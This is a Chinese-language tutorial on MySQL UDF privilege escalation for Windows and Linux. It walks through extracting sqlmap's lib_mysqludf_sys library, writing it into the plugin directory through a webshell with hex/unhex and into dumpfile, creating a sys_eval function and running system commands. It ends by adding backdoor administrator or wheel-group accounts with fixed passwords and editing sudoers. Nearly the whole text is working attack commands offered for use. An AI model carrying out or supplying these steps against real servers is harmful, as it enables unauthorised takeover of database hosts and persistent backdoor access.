mysql数据库提权之——UDF提权
介绍
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
原理
UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数),要想利用udf,必须上传udf.dll作为udf的执行库,mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能
windows-mysql-udf提权
1.获取udf.dll
将sqlmap\data\udf下的dll_文件,复制到sqlmap\extra\cloak,命令行输入cloak.py -d -i lib_mysqludf_sys.dll_即可得到
2.上传udf.dll
上传地址:
mysql版本 < 5.1 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.1 ,UDF导出到安装路径MySQL\Lib\Plugin\
寻找安装路径:
show variables like '%plugin%' 或 select @@basedir(该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可)
上传: 直接上传没有权限,可通过mysql语句写入
2.1以二进制读取udf.dll内容,并将结果转为十六进制
select hex(load_file("C:\\Users\\Administrator\\Desktop\\udf.dll")) into dumpfile'C:\\Users\\Administrator\\Desktop\\111.txt' ;
2.2菜刀的数据库管理处输入以下命令,文件即可上传
select unhex ('111') into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";
111替换为刚刚的16进制字符串
3.利用udf.dll创建用户自定义函数
菜刀的数据库管理处输入输入以下命令(udf.dll处替换上传的dll文件名)
create function sys_eval returns string soname 'udf.dll'
4.执行系统命令
菜刀的数据库管理处输入以下命令,看到用户为system
select sys_eval("whoami")
5.之后创建新用户并加入管理员组即可
5.1菜刀的数据库管理处输入
select sys_eval("net user qq 123.com /add")
5.2再输入
select sys_eval("net localgroup administrators qq /add")
linux-mysql-udf提权
条件:my.ini配置错误,mysql以root权限运行
Linux的mysql默认是mysql用户 ,此处手动将mysql的用户修改为root用户
1.获取udf.dll
sqlmap\data\udf下的so_文件,复制到sqlmap\extra\cloak,命令行输入cloak.py -d -i lib_mysqludf_sys.so_即可得到
2.上传udf.dll
上传地址:
默然安装路径/usr/lib64/mysql/plugin/
寻找安装路径:
show variables like '%plugin%' 或 select @@basedir
上传:直接上传没有权限,可通过mysql命令
2.1以二进制读取so.dll内容,并将结果转为十六进制
select hex(load_file("C:\\Users\\Administrator\\Desktop\\udf.so")) into dumpfile'C:\\Users\\Administrator\\Desktop\\222.txt' ;
2.2菜刀的数据库管理处输入以下命令,111替换为刚刚的16进制字符串
select unhex ('111') into dumpfile '/usr/lib64/mysql/plugin/udf.so';
3.利用udf.dll创建用户自定义函数
菜刀的数据库管理处输入以下命令,udf.so处替换上传的so文件名
create function sys_eval returns string soname 'udf.so'
4.执行系统命令
菜刀的数据库管理处输以下命令,看到用户为root
select sys_eval("whoami")
5.之后创建一个xxx用户,修改密码,并添加到管理员组
5.1创建:
select sys_eval("useradd lp")
5.2修改密码:
select sys_eval("echo '123456' | passwd lp --stdin")
5.3添加到管理员组:
select sys_eval("gpasswd -a lp wheel")
5.4之后去掉etc/sudoers里105行的wheel前的#(可使用覆盖形式)即可